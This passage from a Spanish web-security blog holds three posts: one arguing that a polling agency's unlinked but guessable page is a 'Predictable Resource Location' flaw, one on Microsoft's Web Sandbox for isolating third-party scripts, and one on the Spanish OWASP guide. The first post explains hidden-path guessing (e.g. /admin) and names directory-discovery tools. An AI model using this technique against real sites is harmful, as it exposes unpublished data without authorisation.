De esta forma, los encargados de gestionar el contenido en el CIS, decidieron almacenar la información para publicarla posteriormente. Lo que significa que pese a que existía un archivo "Documentacion_2782.htm", no había ningún enlace a esta página que hiciera posible su acceso si no es por la propia deducción comentada anteriormente.

Bien, y ahora empieza la polémica ya que la directora del CIS, Belén Barreiro, atribuye esta acción a "un asalto informático" tal y como se puede leer en Libertad Digital. Donde se burlan por la descripción de este hallazgo, al igual que ocurre en otros blogs de gran relevancia.

El Web Application Security Consortium define en su clasificación de riesgos el "Predictable Resource Location" como la técnica de ataque que consiste en descubrir contenido o funcionalidades ocultas. ¿Os encaja en lo ocurrido?

Parece que para todo aquel que no se dedica a la seguridad, una vulnerabilidad por ser fácilmente explotable elimina su existencia e incluso su criticidad en vez de aumentarla. De esta forma ocurre que "como es sencillo deducir que el número siguiente a 1 es 2 y lo puede hacer cualquiera", esto no constituye un fallo de seguridad. Error y muy grave. El riesgo es mayor cuanto más alta sea su facilidad de explotación y mayor su impacto. Otro tema completamente distinto, y que no vamos a valorar, es si este acceso forma parte de un acto delictivo o no.

Para finalizar y para todo aquel que tenga una duda, un ejemplo de este mismo problema en otra parte de una web.

Los archivos de estadísticas almacenados en un directorio deducible como sería www.sitio.com/estadisticas/, estas no están disponibles mediante ningún enlace, pero es fácil probar su existencia. Lo mismo ocurriría para una sección de los administradores del sitio bajo la ruta /admin, donde se almacena contenido temporal.

Es tan común este tipo de vulnerabilidades que incluso existen herramientas para detectarlas de forma automática, entre ellas Wikto, Webroot o Webslayer o los geniales productos nacionales DirB y Pipper.
Leer más...

02 febrero 2009

Microsoft Libera Web Sandbox

Las cajas de arena o "sandbox" son entornos controlados donde se aíslan aplicaciones en las que no se confía.

Hoy en día con la proliferación de la web 2.0 es habitual que una determinada página solicite información a otra y la incluya directamente mostrándosela al usuario final. Esta inclusión tiene implicaciones de seguridad, ya que nunca estaremos seguros que el código que se incrusta en nuestra propia página es seguro y no está modificando el contenido propio.

Podemos remontarnos a octubre del año pasado donde Bipin Gautam alertaba sobre la inclusión en un dominio militar (www.dia.mil) de un script alojado en Dublín y por lo tanto, no controlado por las autoridades competentes de ese dominio:


Pese a que en este caso en concreto se discutió el riesgo que esto implicaba, en otros muchos casos es fácil detectarlo. Un claro ejemplo lo expuso Yago utilizando como ejemplo una red social como Facebook.

Para minimizar los riesgos que implica el añadir este contenido "descontrolado" a nuestra página web, Microsoft ha lanzado bajo licencia Apache el producto Web Sandbox, un método con el que se aislará la información de terceros, evitando el acceso y modificación del resto de documento.

La página del proyecto es amplía, detallando documentación y modelo, además de explicar múltiples ejemplos. Se puede consultar el código fuente en la siguiente URL: http://websandbox-code.org/js/1.1168.01302009_debug/sandbox2.js


Leer más...

21 septiembre 2008

Guia de OWASP versión 2.0.1 liberada en español

El grupo de OWASP en español, en el que José Antonio Guasch y yo participamos, acaba de publicar la versión 2.0.1 de su guía para la construcción segura de aplicaciones web. Un material de obligada lectura para auditores, consultores o desarrolladores de aplicaciones web.

Esta guia vio la luz en la BlackHat del año 2005, en la que sufrió bastantes cambios de su versión anterior.

OWASP, además de este famoso documento, dispone de muchos otros proyectos de interés general que pueden ser consultados en la página web: http://www.owasp.org/index.php/Category:OWASP_Project.

Bajo una mirada crítica, la organización OWASP esta sufriendo el efecto "Google", tienen demasiados frentes abiertos, unos con sentido y otros sin él. De hecho, esto es algo que se ha debatió ya en algunas lista de correo como "web security", y un hilo que nació a raíz de una nueva versión de una aplicación para el rastreo de directorios ocultos. ¿Reinventar la rueda? No gracias.

Leer más...